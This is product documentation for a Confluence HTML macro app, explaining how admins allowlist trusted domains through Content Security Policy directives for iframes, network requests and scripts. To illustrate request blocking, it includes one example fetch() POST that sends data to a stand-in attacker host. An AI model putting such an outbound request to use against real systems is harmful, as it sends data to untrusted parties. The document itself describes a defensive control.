HTML Macro Security

HTML Macro for Confluence has security features that allows Confluence admins to define trusted domains (white listing). When domain whitelist/allowlist is defined, Confluence users will be restricted to only interact with trusted domains with HTML, Javascript and third party Iframe embed code.

This makes HTML Macro versatile yet very secure for enterprise usage.

Admin Guide

Domain Whitelisting

As a Confluence admin, you can add a list of trusted domains to the whitelist. The app uses Content Security Policy to block any interactions outside these trusted domains. Specifically, it implements three Content Security Policy (CSP) directives:

frame-src: This CSP directive blocks embedding any domains via Iframe that are not added in allowlist.

For example, if a user tries to embed not-secure-site.com in Confluence, but the domain is not in the allow list, the embed will be blocked.

connect-src: This CSP directive blocks any attempt to connect (send request) to domains not in allowlist.

For example, the following request will be blocked as attacker-site.io is not in allowlist:

fetch('https://attacker-site.io', {
    method: 'POST',
    body: JSON.stringify({ "content": "Foo" })
})

script-src: This CSP directive prevents users from loading scripts coming from unsafe sources that are not defined as trusted domains.

For example, the following script will be not be loaded and executed if code.jquery.com is not added in allowlist.

<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script>

The browser will throw an error message in console like below (message can slightly differ based on browser):

Content Security Policy: The page’s settings blocked the loading of a resource at https://code.jquery.com/jquery-2.2.4.min.js (“script-src”).

Add Domains to the Whitelist

1. Go to Top Nav (right side) → Settings

2. Find HTML Macro Configuration section

3. Add domains (you can use wildcard syntax like *.example.com)

Alternatively, you can also find the configuration page from: Manage apps → HTML Macro for Confluence → Configure

Enabling whitelist in existing macros

If your organization is already using HTML Macro for Confluence, please be careful when enabling the security feature. It can possibly break existing macros.

You can find the app/macro usage in Confluence from Settings → Macro usage. Review the usage and make sure to add used domains to the whitelist.

User Guide

As a user, you can use HTML Macro as documented in HTML Macro for Confluence. If domain whitelisting is enabled, the app shows short information in the macro editor.

If you need to embed, load scripts from or connect to domains not in the whitelist, you can request your admin to add new domains.

If domain is not added, you can find the content security policy (CSP) errors in browser console. Here is an example error message when embedding Google Forms:

Content Security Policy: The page’s settings blocked the loading of a resource at https://docs.google.com/forms/d/e/xxx/viewform?embedded=true (“frame-src”).